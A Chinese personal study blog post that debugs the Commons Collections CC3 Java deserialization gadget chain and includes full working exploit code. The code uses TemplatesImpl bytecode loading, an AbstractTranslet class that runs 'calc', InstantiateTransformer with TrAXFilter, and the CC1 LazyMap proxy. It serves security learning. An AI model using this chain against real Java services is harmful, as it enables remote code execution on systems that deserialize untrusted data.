pre
CC3和我们刚才调试的CC6有一些不同,CC1和CC6我们可以知道命令执行的方式是Runtime.getRuntime().exec
但众所周知Java还可以通过加载任意类来进行恶意行为
CC3是基于这个的,所以我今天也花了不少时间来重新学习动态类加载,在初步学习之后的基础上,开始调试CC3
根据动态类加载的学习我们可以知道利用点通常在defineClass中,它是从字节码中加载
这个链子鉴于之前学习动态类加载的时候对加载器包括defineClass有相关调试,我就不在这个笔记中过多赘述了
TemplatesImpl
本质问题出在这里
我们一路一路往上头找,找到了
newTransformer->getTransletInstance->defineTransletClasses->defineClass
所以我们开始调试,看看这样的调用链需要满足什么条件
首先是这里
因为它直接进行了判定,所以我们看看它的构造函数有没有对它赋值
我们发现是对它的_class不有赋值,这样我们才能进到defineTransletClasses里,然后我们继续跟进
发现bytecode需要赋值,不能为空,否则会抛出异常
tfactory要赋值,因为要调用方法
所以我们直接反射改
但在改bytecodes时候需要注意,所以我们去看看它最后的defineClass
要传一个一维数组
我们目前的代码如下
1 2 3 4 5 6 7 8 9 10
| TemplatesImpl templates = new TemplatesImpl(); Class templatesClazz = templates.getClass(); Field nameField = templatesClazz.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaaa"); Field bytecodeField = templatesClazz.getDeclaredField("_bytecodes"); bytecodeField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\\codefile\\java\\out\\Test.class")); byte[][] codes = {code}; nameField.set(templates,codes);
|
那么tfactory呢,我们看这里
它是个不可被序列化的值,所以我们这样子改一点用没有
但是为了测试代码,还是给它赋值吧
目前预期就是一旦我们运行代码,就会加载我们刚才编写的恶意类从而弹出计算器,那我们现在试试看
好嘛,报错了
空指针错误
是在defineTransletClasses这里出了问题,我们进去然后打个断点开始调试
安然无恙的走到这里了
已经加载成功了喵,为什么
根据报错我们可以找到问题在这里
也就是这个_auxClasses参数是空的,我们有两个方法,第一个就是直接给_auxClasses赋值,第二个就是满足那个if然后进去,但是如果不满足if它会是-1,还是过不了这个判断条件
所以它又会报另一个错,那么我们赋值的办法就行不通了
那么我们怎么办,只能满足那个if条件进去了
也就是我们执行代码的类的父类 要是这个东西
那么我们改写我们的Test.class
但是由于这个东西是一个抽象类,我们直接继承会报错,我们需要实现它的抽象方法
于是我们的测试代码需要写成这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package org.example; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Test extends AbstractTranslet{ static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
|
我们再次测试
看到这绷不住了哈哈哈
我到底弹了多少次计算器啊哈哈哈哈
发个朋友圈纪念一下哈哈哈哈,太好笑了这个
拓展
把它和CC1的ChainedTransformer进行一个联动
改成这样
1 2 3 4 5 6
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null), }; ChainedTransformer chainedTransformer=(ChainedTransformer) new ChainedTransformer(transformers); chainedTransformer.transform(1);
|
也可以执行
所以我们直接给CC1后半段提溜过来
嗯!宣
yso链子
但是yso用了另外一个类,InstantiateTransformer,这个类着实比较陌生,进去看看它的transform方法
代码功能就是如果参数是一个class,那么就获取他的构造器和它的构造函数
那么我们直接这样构造
1 2
| InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class);
|
然后我们把transform去掉
和CC1连起来
草,刚才狠狠报错,难绷
因为我刚才改写的时候突然脑袋抽了,因为之前我们合并的时候没用到chainedTransformer,所以我就直接把decorate里的类改成了instantiateTransformer,但刚才我连着chainedTransformer一起的时候先是忘了开头需要用ConstantTransformer,又是忘记改decorate,不过最后终于解决了,最后代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| TemplatesImpl templates = new TemplatesImpl(); Class templatesClazz = templates.getClass(); Field nameField = templatesClazz.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaaa"); Field bytecodeField = templatesClazz.getDeclaredField("_bytecodes"); bytecodeField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\\codefile\\java\\out\\Test.class")); byte[][] codes = {code}; bytecodeField.set(templates,codes); Field tfactoryField = templatesClazz.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}), }; ChainedTransformer chainedTransformer=(ChainedTransformer) new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstructor.setAccessible(true); InvocationHandler lazymapInvocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},lazymapInvocationHandler); Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy); serialize(o); unserialize("ser.bin");
|
呜呜呜终于呜呜呜
呜呜呜呜呜呜呜以为快完了然后报了一大堆错然后改改改的感觉呜呜呜呜,当计算器弹出来的时候真的好开心呜呜呜